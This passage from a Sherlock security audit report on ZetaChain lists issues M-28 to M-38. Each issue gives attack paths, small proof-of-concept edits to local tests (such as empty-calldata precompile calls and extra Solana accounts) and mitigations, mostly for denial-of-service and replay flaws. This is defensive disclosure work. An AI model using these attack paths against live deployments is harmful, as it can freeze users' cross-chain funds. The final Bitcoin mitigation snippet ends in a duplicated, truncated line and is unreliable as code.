79:         Msgf("Gas limit is too high; Setting to the maximum (%d)", maxGasLimit)
80: } else if limit == gasTransferGasLimit && (params.CoinType != coin.CoinType_Gas
  ↳ || (cctx.IsCurrentOutboundRevert() && cctx.RevertOptions.CallOnRevert)) {
81:     // in some context, 21k might currently be used for an outbound that
  ↳ involves a contract call
82:     // this includes erc20 withdraw and onRevert calls whe gas deposit revert
83:     // we fix this minimum to ensure the transaction has the minimum required
  ↳ gas limit
84:     // TODO: fix the gas limit used for these cctx outbound gas limit
85:     // https://github.com/zeta-chain/node/issues/3723
86:     limit = contractCallMinGasLimit
```

```
87:     logger.Warn().
88:         Uint64("cctx.initial_gas_limit", params.CallOptions.GasLimit).
89:         Uint64("cctx.gas_limit", limit).
90:         Msgf("Gas limit is too low for contract call; Setting to the minimum
↪ (%d)", contractCallMinGasLimit)
91: }
```

This means that the gas limit can be set to a very low value, so that the Ethereum RPC intrinsic gas error is returned. As a result, broadcasting the outbound EVM transaction with `BroadcastOutbound()` will fail repeatedly. As this does not increase the nonce, any subsequent outbound transactions cannot be sent.

This is non-recoverable, even trying to abort this "stuck" CCTX will not work as the nonce will not be re-used by another CCTX.

For further details, please see the same issue in the Code4rena ZetaChain contest:

Outbound transactions that can not be broadcasted to an external EVM chain cause a Denial of Service of all outgoing transactions to this chain

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Attacker sends an outbound CCTX from ZetaChain to Ethereum and sets the gas limit to a very low value (e.g., 1337).
2. The EVM zetaclients processes the CCTX and uses 1337 as the transaction gas limit
3. Broadcasting the Ethereum transaction fails with the intrinsic gas error
4. Zetaclient retries a couple of times, without success
5. The CCTX is stuck in the outbound queue, and the TSS nonce on Ethereum is not incremented
6. Subsequent outbound CCTXs to Ethereum are stuck in the outbound queue

Impact

The EVM outbound zetaclient queue will be stuck as the CCTX with the next expected nonce will never be sent and executed. Subsequent CCTXs will be stuck in the queue, representing a DoS.

PoC

N/A

Mitigation

Consider re-adding the minimum gas limit check.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/node/pull/3848>

gjaldon

If the gas limit is less than 100,000 for any EVM CCTX with contract calls, the gas is set to 100,000 to ensure that there is enough gas to broadcast the transaction and prevent CCTXs from getting blocked.

Issue M-28: Solana zetaclient inbound observer is blocked indefinitely when an additional account is passed to the call instruction

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/326>

Found by

berndartmueller

Summary

By providing an additional account to the Solana gateway `call` function, the Solana zetaclient will error, preventing processing other inbound Solana transactions.

Root Cause

The Solana gateway `call` function expects one account, the signer, to be passed in the instruction.

[programs/gateway/src/contexts.rs#L109-L114](#)

```
109: #[derive(Accounts)]
110: pub struct Call<'info> {
111:     /// The account of the signer making the call.
112:     #[account(mut)]
113:     pub signer: Signer<'info>,
114: }
```

Additional accounts can be passed by the user, they will just be ignored by the program.

However, the Solana zetaclient expects the instruction to have exactly one signer account. If there is more than one signer account, it errors out with the message `want only 1 signer account, got %d`.

[pkg/contracts/solana/inbound.go#L264-L266](#)

```
238: func ParseInboundAsCall(
239:     tx *solana.Transaction,
240:     instructionIndex int,
241:     slot uint64,
242: ) (*Inbound, error) {
... // [...]
257:
```

```

258:    // get the sender address (skip if unable to parse signer address)
259:    instructionAccounts, err :=
    ↪ instruction.ResolveInstructionAccounts(&tx.Message)
260:    if err != nil {
261:        return nil, err
262:    }
263:
264:    if len(instructionAccounts) != 1 {
265:        return nil, fmt.Errorf("want only 1 signer account, got %d",
    ↪ len(instructionAccounts))
266:    }

```

This error is propagated up to the `FilterInboundEventsAndVote` function, which is called in the `ObserveInbound` function.

[zetaclient/chains/solana/observer/inbound.go#L88-L92](https://github.com/zetaclient/chains/solana/observer/inbound.go#L88-L92)

```

88: // filter inbound events and vote
89: if err = ob.FilterInboundEventsAndVote(ctx, txResult); err != nil {
90:     // we have to re-scan this signature on next ticker
91:     return errors.Wrapf(err, "error FilterInboundEventAndVote for sig %s",
    ↪ sigString)
92: }

```

Due to this error, the same transaction will be re-scanned on the next ticker, preventing other inbound Solana transactions from being processed indefinitely.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. The attacker sends a Solana transaction with the `call` instruction to the Solana gateway program with an additional account.
2. The Solana transaction is executed, and the `call` instruction is processed successfully.
3. The Solana zetaclient processes the transaction and calls the `ParseInboundAsCall` function. The check `len(instructionAccounts) != 1` fails, as there are two accounts passed in the instruction.

4. The error is propagated up to the `ObserveInbound` function, which re-scans the same transaction on the next ticker.
5. The error is surfaced repeatedly, preventing any other inbound Solana transactions from being processed.

Impact

The Solana inbound processing is blocked indefinitely, preventing any other inbound Solana transactions from being processed.

PoC

To demonstrate how an additional account breaks this check, we can run the `TestSolanaToZEVMCALL` E2E test case. This test case calls the Solana gateway's `call` function with an additional account.

Update the `CreateSOLCallInstruction` function to add an additional account to the instruction:

```
return &solana.GenericInstruction{
    ProgID:    r.GatewayProgram,
    DataBytes: callData,
    AccountValues: []*solana.AccountMeta{
        solana.Meta(signer).WRITE().SIGNER(),
+       solana.Meta(solana.SystemProgramID),
    },
}
```

Run the test case with the following command:

```
make start-solana-test
```

After a while, when the E2E test is running, you will see the following error in the Docker logs of the zetaclient (both, 1 and 2):

```
2025-05-07T12:21:46Z INF got wrong amount of signatures chain=902
↳ chain_network=solana method=ObserveInbound module=inbound signatures=1

2025-05-07T12:21:46Z ERR task failed error="error FilterInboundEventAndVote for sig
↳ 2f4P2EAtrh7HitBEU4ZzvPCw72PcAR5EjqPqfTaqi5oyvFiY8zUwNdnvK9mxWN3kumEpnWWXCasbiNh
↳ PNkTD3cj: error FilterInboundEvent: error ParseInboundAsCall: want only 1
↳ signer account, got 2" module=scheduler task.group=sol:902
↳ task.name=observe_inbound task.type=interval_ticker
```

The error will be logged repeatedly as the zetaclients re-scan this same transaction. Any other inbound Solana transaction will not be processed.

Mitigation

Like other instances in the Solana zetaclient, the check for the number of accounts should use `< 1` instead of `!= 1`. This will allow the program to process the transaction successfully, even if additional accounts are passed in the instruction.

```
264:     if len(instructionAccounts) < 1 {
265:         return nil, fmt.Errorf("want required 1 signer account, got %d",
    ↪     len(instructionAccounts))
266:     }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3895>

gjaldon

The issue is fixed by changing the check to less than the `accountsNumberCall` so that more instruction accounts can be passed.

Issue M-29: Stateful precompiles panic on empty calldata, which can be exploited to prevent finalizing outbound CCTXs

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/328>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller, oade_hacks, sherlockxyz

Summary

The precompile caller can pass invalid (empty) calldata, which results in a panic in the precompile. This immediately exits the EVM and propagates up to the Cosmos SDK baseapp. The Cosmos SDK message (e.g., `MsgVoteOutbound`) fails, and the outbound cctx cannot be finalized. The cctx remains pending in the queue.

Root Cause

In ZetaChain's precompiles, it is assumed that the provided input (calldata) by the caller is at least 4 bytes long (function selector).

This is observed in the following instances:

- [precompiles/bank/bank.go#L95](#)
- [precompiles/bank/bank.go#L113](#)
- [precompiles/prototype/prototype.go#L96](#)
- [precompiles/prototype/prototype.go#L226](#)
- [precompiles/staking/staking.go#L122](#)
- [precompiles/staking/staking.go#L140](#)

For example, the `RequiredGas()` function in the `bank` precompile,

```
92: func (c *Contract) RequiredGas(input []byte) uint64 {
93:     // get methodID (first 4 bytes)
94:     var methodID [4]byte
95:     copy(methodID[:], input[:4])
```

accesses the first 4 bytes of the `input` without checking if the length is at least 4 bytes. If the length is less than 4 bytes, this will panic with an `index out of range` error.

This panic is propagated up until the Cosmos SDK baseapp, where it is caught to prevent the node from crashing.

However, the Cosmos SDK message has failed and cannot be executed.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Attacker sends 500 (MaxPendingCctxs = 500) outbound CCTXs from ZetaChain to an external EVM chain (e.g., Ethereum) where they will error when calling the attacker's contract
2. Observers vote on the failed outbound CCTXs
3. The "final" CCTX vote attempts to finalize the outbound CCTX on ZetaChain by processing the revert on ZEVM
4. As part of the revert process, the attacker contract's `onRevert()` function is called
5. In `onRevert()`, ZetaChain's precompile is called with invalid calldata (e.g., empty calldata)
6. The precompile panics, and the entire transaction fails
7. The outbound CCTX cannot be finalized and remains pending in the queue
8. This is repeated for all 500 outbound CCTXs, which remain pending in the queue
9. EVM zetaclients will be unable to process other outbound CCTXs due to their lookback criteria

Impact

- A Solidity contract that explicitly uses `try-catch` to ensure an external contract call must never cause the overall transaction to revert is unable to do so if the called contract calls the precompile with invalid calldata so that it panics.
- More severe, if the ZEVM call is initiated as part of the `MsgVoteOutbound` message in response to a failed outbound cctx (i.e., reverting the cctx on ZEVM), and it panics, the entire message fails. As a result, the outbound cctx cannot be finalized, it remains pending. An attacker can repeatedly cause multiple cctx's to remain in

pending state so that the pending cctx queue fills up until the limit is reached and the zetaclients are unable to process any new outbound cctx's.

PoC

This simple PoC runs the `e2e/e2etests/test_precompiles_staking_through_contract.go` E2E test and demonstrates how the staking precompile is called with empty calldata so that it panics. The try-catch is just cosmetic as it is unable to catch the panic.

Update the `stakeWithStateUpdate` function in `TestStaking.sol` and add the new `causePanic` function:

```
function stakeWithStateUpdate(
    address staker,
    string memory validator,
    uint256 amount
) external onlyOwner returns (bool) {
    counter = counter + 1;
    // transfer full balance
    (bool success, ) = payable(address(0xdead)).call{value: payable(this).balance}("");
    require(success, "transfer to dead address failed");

    success = staking.stake(staker, validator, amount);

    try this.causePanic() {} catch {
        // do nothing
    }

    counter = counter + 1;
    return success;
}

function causePanic() external {
    // call `staking` contract with low level call invalid calldata so that it
    panics
    address(staking).call(hex "");
}
```

Re-generate the ABI Go bindings:

```
go generate ./e2e/contracts/teststaking
```

Run the test:

```
zetae2e run precompile_contracts_staking_through_contract --config
cmd/zetae2e/config/local.yml --verbose
```

The precompile will panic, and all state changes will be reverted. The Docker logs will show the panic:

```
panic recovered in runTx err="recovered: runtime error: slice bounds out of range  
↳ [:4] with capacity 0"
```

Mitigation

Consider checking that the `input` length is at least 4 bytes.

Issue M-30: Insufficient Transaction Broadcast Timeout in EVM Chains

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/341>

Found by

0xpetern

Summary

The ZetaChain protocol uses an excessively short timeout (1 second) for broadcasting transactions to EVM chains, causing premature timeouts particularly on networks with higher latency like Arbitrum. When the initial transaction broadcast times out, all subsequent retry attempts fail with "nonce too low" errors. This leads to missed outbound tracker postings, creating state inconsistencies between ZetaChain and connected EVM chains that can only be fixed through code changes requiring a hard fork.

Root Cause

In `signer.go` for evm chains, a 1-second timeout value is hardcoded, which is too short for transaction broadcasting.

```
const (  
    // broadcastBackoff is the initial backoff duration for retrying broadcast  
    broadcastBackoff = 1000 * time.Millisecond  
  
    // broadcastRetries is the maximum number of retries for broadcasting a  
    ↪ transaction  
    broadcastRetries = 5  
)
```

Early timeout potentially lead to missed outbound tracker in Arbitrum. When the initial tx broadcasting gets timeout, all the subsequent retries will return `nonce too low` in Arbitrum, therefore ignores the outbound tracker posting.

```
func (signer *Signer) broadcast(ctx context.Context, tx *ethypes.Transaction)  
    ↪ error {  
    ctx, cancel := context.WithTimeout(ctx, 1*time.Second)  
    defer cancel()  
  
    return signer.client.SendTransaction(ctx, tx)  
}
```

Required Links: <https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/zetaclient/chains/evm/signer/signer.go#L32C1-L38C2>
<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/zetaclient/chains/evm/signer/signer.go#L227C1-L232C2>

Internal Pre-conditions

1. Cross-chain transactions are being processed from ZetaChain to EVM chains
2. Transaction broadcaster uses hardcoded 1-second timeout
3. Network conditions cause transaction propagation to exceed 1 second
4. System is configured to retry failed broadcasts

External Pre-conditions

1. EVM chain (particularly Arbitrum) has higher transaction processing latency
2. Network congestion increases transaction confirmation time
3. Users are initiating cross-chain transactions requiring outbound trackers.

Attack Path

1. The system attempts to broadcast transaction to Arbitrum
2. 1-second timeout expires but transaction is still in mempool
3. The system attempts to retry with same nonce, receives "nonce too low" errors
4. Transaction fails and system fails to post outbound tracker due to nonce errors.

Impact

1. Failed cross chain transaction.
2. Missing outbound Trackers.
3. Cross-chain state inconsistency.

PoC

No response

Mitigation

Modify timeout and backoff constants and uses these values in the broadcast function.

```
// New constants with appropriate values
const (
    // broadcastBackoff is the initial backoff duration for retrying broadcast
    broadcastBackoff = time.Second * 6

    // broadcastRetries is the maximum number of retries for broadcasting a
    ↪ transaction
    broadcastRetries = 5

    // broadcastTimeout is the timeout for broadcasting a transaction
    // we should allow enough time for the tx submission and avoid fast timeout
    broadcastTimeout = time.Second * 15
)
```

```
func (signer *Signer) broadcast(ctx context.Context, tx *ethypes.Transaction)
    ↪ error {
    ctx, cancel := context.WithTimeout(ctx, broadcastTimeout)
    defer cancel()

    return signer.client.SendTransaction(ctx, tx)
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/node/pull/3850>

Issue M-31: Missing Nonce Reset During TSS Address Update Allowing Signature Replay

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/352>

Found by

0xpetern, berndartmueller, g

Summary

In the solana implementation, When updating the TSS address via `update_tss`, the function fails to reset the nonce counter. This creates a security issue where previously authorized signatures could remain valid after a TSS address change and can be replayed.

Root Cause

The `update_tss()` function updates the TSS address (used for signature verification) without resetting the nonce counter that prevents signature replay attacks. This creates a dangerous security gap where the system transitions to a new signing authority while maintaining continuity with the nonce sequence of the previous authority.

```
// Updates the TSS address. Caller is authority stored in PDA.
pub fn update_tss(ctx: Context<UpdateTss>, tss_address: [u8; 20]) -> Result<()> {
    verify_authority(&ctx.accounts.signer.key(), &ctx.accounts.pda)?;
    let pda = &mut ctx.accounts.pda;
    pda.tss_address = tss_address;

    msg!(
        "TSS address updated: new TSS address = {:?}, PDA authority = {}",
        tss_address,
        ctx.accounts.signer.key()
    );

    Ok(())
}
```

This implementation only modifies the TSS address, while the nonce remains unchanged, when this function is called. Previous signatures remain valid with their existing nonces.

Internal Pre-conditions

1. Protocol uses TSS for cross-chain transaction authorization
2. Transaction nonce serves as a replay protection mechanism
3. TSS address is used to verify transaction signatures
4. Authority has ability to update TSS address

External Pre-conditions

1. Protocol is actively processing cross-chain transactions
2. Transactions are flowing between chains with TSS signatures

Attack Path

Here is a possible attack path

1. System uses TSS address A with current nonce sequence (e.g., nonce = N)
2. Authority updates TSS from address A to address B but Nonce remains at N (not reset to 0)
3. System now accepts signatures from TSS B, continuing from nonce N+1.
4. System validates signature against TSS B but with nonces that were used by TSS A resulting to a successful signature replay.

Impact

1. Signatures from old TSS could be replayed.
2. System may accept unauthorized transactions.

PoC

No response

Mitigation

Update the `update_tss` function to reset the nonce counter when changing the TSS address:

```
pub fn update_tss(ctx: Context, tss_address: [u8; 20]) -> Result<()> {  
    verify_authority(&ctx.accounts.signer.key(), &ctx.accounts.pda)?;  
    let pda = &mut ctx.accounts.pda;
```

```

    // Update TSS address
    pda.tss_address = tss_address;

    // Reset nonce to zero - CRITICAL SECURITY FIX
    pda.nonce = 0;

    msg!(
        "TSS address updated: new TSS address = {:?}, nonce reset to 0, PDA
↪ authority = {:?}",
        tss_address,
        ctx.accounts.signer.key()
    );

    Ok(())
}

```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/protocol-contracts-solana/pull/107>

gjaldon

The issue is fixed by resetting the nonce to 0 when updating the TSS address.

Issue M-32: Incorrect de-structuring of `parse_intent()`'s return value will trigger unexpected operations

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/365>

Found by

g

Summary

The wrong de-structuring of `parse_intent()` when the TON Gateway contract receives an internal message will trigger the incorrect operation.

Root Cause

`parse_intent()`'s return values the following format `(slice, (int, int))`.

```
(slice, (int, int)) ~parse_intent(slice message_body) impure inline {
    int op = message_body~load_uint(size::op_code_size);
    int query_id = message_body~load_uint(size::query_id_size);

    return (message_body, (op, query_id));
}
```

However, `recv_internal()` misuses it by assigning the first element in the returned tuple to an `int`.

```
(int op, _) = in_msg_body~parse_intent();
```

The first tuple should be the `message_body`, which is of `slice` type and not an `int`.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. A user wants to deposit TON coins and sends an internal message to the Gateway contract
2. Due to the wrong de-structuring, the `op` value is their 160-bit EVM address padded with zeroes.
3. The transaction would fail with an unknown_op error.

Impact

Internal messages will fail with `unknown_op` or trigger different operations than expected. This affects all user and admin operations, including `update_code` (for upgrading the contract).

PoC

No response

Mitigation

Consider fixing the de-structuring to the following.

```
(_, (int op, _)) = in_msg_body~parse_intent();
```


Issue M-33: TON Gateway withdrawals can be DOS'd with an invalid withdrawal recipient

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/367>

Found by

0x73696d616f, g

Summary

Unlike in Gateway contracts in other chains, there is only one way to increment the nonce in the Ton Gateway contract. The nonce is only incremented in `handle_withdrawal()`.

Any failure in `handle_withdrawal` before the nonce is incremented and committed will prevent withdrawals with higher nonces from getting executed.

Root Cause

There is no way to increment the nonce other than through `handle_withdrawal()`.

```
state::total_locked -= (amount + tx_fee);
state::seqno += 1;

mutate_state();
commit();
```

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. A user withdraws TON coins from Zetachain, triggering an Outbound Withdrawal to TON. The Outbound Withdrawal has a nonce of 5 and a receiver of `{workchain: 1, recipient_addr: 0xtded}`.

2. An Observer executes the Outbound Withdrawal and it fails with a wrong workchain error.
3. The nonce in the TON Gateway contract stays at nonce 5 because it does not get incremented and committed.
4. Outbound Withdrawals with nonce greater than 5 will fail because of this check.

Impact

Withdrawals to the TON Gateway contract are DOS'd indefinitely.

PoC

No response

Mitigation

Consider applying the same `increment_nonce` approach that is applied to the Solana Gateway contract.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3977>

gjaldon

The issue is fixed by calling `IncreaseSeqno` in the Gateway when an invalid workchain is used.

Issue M-34: TON Gateway transactions with a skipped compute phase will cause a panic

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/370>

Found by

0x73696d616f, g

Summary

There are cases when a transaction for the Gateway will skip the compute phase. When this happens, `exitCodeFromTx()` will panic because `TrPhaseComputeVm` will be nil.

Root Cause

`exitCodeFromTx()` assumes that `TrPhaseComputeVm` is always present. However, that is false because `ComputePh` is a `Sum` type with two variants.

```
type TrComputePhase struct {
    SumType
    TrPhaseComputeSkipped struct {
        Reason ComputeSkipReason
    } `tlbSumType:"tr_phase_compute_skipped$0"`
    TrPhaseComputeVm struct {
        // ... snip ...
    } `tlb:"^"`
} `tlbSumType:"tr_phase_compute_vm$1"`
}
```

A transaction can skip the compute phase when the message sent to the Gateway contract provides less gas than is required for minimal execution. The minimum amount of gas needed is implementation-dependent, but roughly in the $\sim 10^5$ nanoton (0.1 TON) range for basic contracts.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. A malicious user sends a message with very low value, e.g., 0.001 TON. Set the `forward_fee` or `fee_remaining` so that only a tiny gas budget is passed. The message will have a valid message body for a deposit operation.
2. TON VM will then skip execution and record `compute.skipped = true` for the message sent to the Gateway contract.
3. The TON Observer will get every transaction and parse it.
4. When parsing the Inbound Deposit that skipped the compute phase, it will panic when calling `exitCodeFromTx()`.

Impact

All TON Observers' `ObserveInbound` and `ProcessInboundTrackers` go-routines will crash and no longer process any inbound deposits to the TON Gateway.

PoC

No response

Mitigation

Consider adding a check to ensure the compute phase is present before accessing the `TrPhaseComputeVm` field.

Issue M-35: A Malicious Observer can broadcast the Solana cancel tx instead of the execute tx

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/372>

Found by

Al-Qa-qa, Laksmana, g

Summary

Solana Observers will sign both the execute and increment nonce instructions when preparing an execute SPL transaction. Since all Observers will sign both instructions, a malicious Observer can broadcast the fallback transaction (increment nonce) instead of the execute transaction. A single Observer can prevent Solana execute instructions indefinitely.

Root Cause

When preparing the execute or execute SPL transactions, all the observers TSS-sign both the execute and increment nonce instructions. Since the TSS signature for the increment nonce transaction is available, a malicious Observer can use this to broadcast the increment nonce transaction instead of the execute transaction.

```
// in `prepareExecuteTx()` and `prepareExecuteSPLTx()`  
  
tx, err := signer.signTx(ctx, inst, params.CallOptions.GasLimit)  
// ... snip ...  
  
fallbackTx, err := signer.signTx(ctx, fallbackInst, 0)
```

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. A malicious Observer modifies their Solana Observer code to broadcast the increment nonce transaction instead of the execute transaction.
2. Once an execute outbound is processed, the malicious Observer can broadcast the increment nonce without delay, so they can be the first to broadcast and consume the nonce.
3. The nonce will be incremented, and the execute Outbound is effectively cancelled.
4. This attack can be done repeatedly to prevent most execute Outbounds from getting broadcasted.

Impact

A single Observer can prevent Solana `execute` Outbounds indefinitely.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3914>

Issue M-36: An attacker can stuff a Solana Outbound transaction with multiple instructions to block it from finalizing

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/377>

Found by

g

Summary

A Solana Outbound transaction is expected to have 1 or 2 instructions. An attacker can exploit this expectation and force the Gateway instruction parsing to fail by stuffing a valid Outbound transaction with at least two more instructions. This will block the Outbound from finalizing because ProcessOutboundTrackers() will always fail when it calls CheckFinalizedTx() on the transaction.

Root Cause

An attacker can exploit the expectation that a Solana Gateway transaction must only have 1 or 2 instructions.

```
instructionCount := len(tx.Message.Instructions)
if instructionCount < 1 || instructionCount > 2 {
    return nil, fmt.Errorf("unexpected number of instructions: %d",
        ↪ instructionCount)
}

// get gateway instruction
instruction := tx.Message.Instructions[instructionCount-1]
```

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

This issue can be exploited by an attacker front-running a valid Outbound transaction or by a malicious Observer.

1. An attacker observes a valid `increment_nonce` Outbound transaction. They front-run this transaction and replace it with the valid `increment_nonce` instruction plus two more valid instructions.
2. The transaction succeeds and uses up a nonce. Since no other Outbound transaction exists with the same nonce, an Observer adds an Outbound Tracker for this transaction.
3. When the Outbound Tracker is processed, checking the finalized transaction will always fail when it attempts to parse the gateway instruction because it has three instructions.
4. Since `SetTxResult()` is never called on the nonce, no Observers will vote on the Outbound, and it will not finalize.
5. The sender of the Outbound transaction will not get their withdrawal, and their refund will not get triggered in Zetachain.

Impact

The sender of the Outbound transaction will lose their withdrawn funds. The Observers must manually vote failure on the victim's Outbound before the victim can get a refund. There can be a significant delay before their funds are recovered. There is no loss for the attacker.

PoC

No response

Mitigation

Consider removing any expectations on the format/structure of the Solana transaction.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/node/pull/3957>

gjaldon

The instructions are now parsed without expecting a certain number of instructions in the transaction. For as long as the transaction includes a valid Gateway instruction that matches the current nonce, it will be parsed successfully.

Issue M-37: Inconsistent Pause Mechanism Allows Withdrawals During Emergency Pause

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/410>

Found by

0xC2939291, Al-Qa-qa, Alpha, Goran, Laksmana, ifeco445, pks_, zanderbyte

Summary

The `withdraw_impl` function in `gateway.move` lacks a pause mechanism, unlike the deposit functionality which has proper pause checks. This creates an inconsistency in the security controls and could allow withdrawals to continue even when the system should be paused.

Root Cause

The `withdraw_impl` function does not have a pause flag, while the deposit functions (`check_receiver_and_deposit_to_vault`) have the flag. This creates a security gap where withdrawals can continue even when deposits are paused.

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-sui/sources/gateway.move#L271-L282>

Internal Pre-conditions

- The caller must have a valid `WithdrawCap`
- The coin type must be whitelisted
- The nonce must match the current gateway nonce

External Pre-conditions

- The caller must have permission to call the function
- The system(gateway vault) must have sufficient balance for the withdrawal

Attack Path

1. An attacker with `WithdrawCap` can continue to withdraw funds even when the system is in a paused state

2. This could be exploited during emergency situations when the system should be completely paused
3. The attacker could withdraw funds from gateway vaults while legitimate deposits are blocked

Impact

1. Withdrawals can continue even when the system should be completely paused
2. Different security controls for deposits and withdrawals create confusion and potential vulnerabilities

PoC

No response

Mitigation

Add a `paused` variable to Gateway struct and use this check in both deposits and withdrawals.

This will ensure that withdrawals are properly paused when the system is in a paused state.

Issue M-38: Bitcoin Observers' signed transactions will be rejected due to invalid sighashes

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/424>

Found by

g

Summary

The Bitcoin Observers use invalid sighashes when generating the witness hash for each transaction input. The Bitcoin network will reject all the signed transactions by the Observers.

Root Cause

In `SignTx()`, an empty byteslice and zero amount are used when generating the sighashes.

```
sigHashes := txscript.NewTxSigHashes(tx,  
    ↪ txscript.NewCannedPrevOutputFetcher([]byte{}, 0))
```

The correct input is the previous output's scriptPubKey and amount.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. The Observers sign the generated Bitcoin transaction with TSS.
2. When the transaction is broadcast, the Bitcoin network rejects it because it fails verification since the sighash it reconstructs using the actual previous outputs' script and amount does not match the sighash created by the Observers.

Impact

All the withdrawal transactions in the Bitcoin network will fail. Users will be unable to withdraw from the Bitcoin network.

PoC

No response

Mitigation

Consider generating the correct sighashes with the below pseudocode.

```
prevOutFetcher := txscript.NewMultiPrevOutFetcher(nil)
for i, input := range tx.TxIn {
    prevOut := selected.UTXOs[i] // Get the corresponding UTXO
    script, err := hex.DecodeString(prevOut.ScriptPubKey)
    if err != nil {
        return nil, err
    }
    amount := int64(prevOut.Amount * btcutil.SatoshiPerBitcoin)
    prevOutFetcher.AddPrevOut(input.PreviousOutPoint, &wire.TxOut{
        Value:    amount,
        PkScript: script,
    })
}
sigHashes := txscript.NewTxSigHashes(tx, prevOutFetcher)
sigHashes := txscript.NewTxSigHashes(tx, txscript.NewCanned
```

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.